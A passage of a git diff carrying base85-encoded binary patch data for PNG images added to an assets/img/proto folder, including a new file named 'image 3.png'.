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 y`0}#Cvn*q0MMN||H4d~xK)pA;yvzq@M
zFZ-X0ul>vaZ}y*Sp67NlA5)a;UDf&;euL-sEV0#}Zx9Td#zHzSh>6n;$
z&9x_fW)}cJt@673j&N>zPuraZz*rGtc||VCOEgg^C)zjGs6KYLA8qbb^Azw2gld@f
zKx(KB13CVZm5Ks7EhPIbyT$MVjuvm?KhV-zDyaEQ>ZyR}u5j#b%
kPXfT{*hhmL8=?tlNeFRj!)aH5(}C8=)Hf^
z`9f74?fEn&iKF71?!Gv4cW$04Be%b(dyr$PBu-TYV}pA}$N_lyKcUV5)W9a?@W(8F
zaW=ouX6~|;DdSQ!Qxd||SfY^10%?`FI-{$O6LZ#mqo^CMOl@L}`y{
z!!@Hp^tT*y(NI;GOj%!cAHAZAp`slN#eMuB*RLaIDO*YS!NEV7Vr{n
zic&$be<1%Cu2eAI6om@z*WZrrSUFz+W*qMHXFcjIENI^f#(v?a%#UMEQTDR)V<&}-
zE|{}@XX)w5mee+Pc$WLHX)KMgM=SQpdqw!SB8~lcfV6pwul`&eI;8#;6~RDHcTyHB
zlOhR~$)Z)1a>X>NJ@ZfwCXVKDRAX{#JA=A*
zg`OD)pvNypPiJXv==i;f@?(^zUI(a?(mH+Qn{jcOaFav_eHFJ(`9%Q;p|2?c)agIl
z-DH#e=R018pkycew^hT8qY>=#U&
zA&5EEu1Au&ouhUHu*8Z$>?XHl$0B)6_K#vfwioX*5TekKP6L5&`O(ksQedOPh6&sW
z<`MsB76v&g<|YKQ+^WkK^+d%~CP=p|=gF6>c4$=-*dzVcU-vw#NEV({{EO`4r#B39
z$*7%v4Xft8PXm-!YiJwInqWoj4{BPaMO;Nc;fE&PrXZ@2gE9{7z0_E?C6abcx&KW3
ztA~G53zQQITZr^c;ZUbZ@YcNak~L=r7myXqCwx?sw=gCnZSNwWb!V-I
zP7AqJJU{!^cj5CVqf#Rrn!4X!=%C;$ikyfTjI5ywhAd&NGH2W6cE7{~
zc6?4o2m#zmm03n^Ojx1ixT!UD&>(B(E>KBZh%zaT$mKFNocCAKN*v=5fimV|N?XZ^4L6@@y%o5BgZ%m2pH
zXS%YtRQo@G6#wtJ$A8-8e>4Jh^n$W;|I+{OvC98K_IHwGhR?Tb#(}72EdYR${9Czl
I8MBc80$D~+jQ{`u
literal 0
HcmV?d00001
diff --git a/assets/img/proto/image 3.png b/assets/img/proto/image 3.png
new file mode 100644
index 0000000000000000000000000000000000000000..c153e540221d5ac1266a8d47bf30c37a8f546391
GIT binary patch
literal 48003
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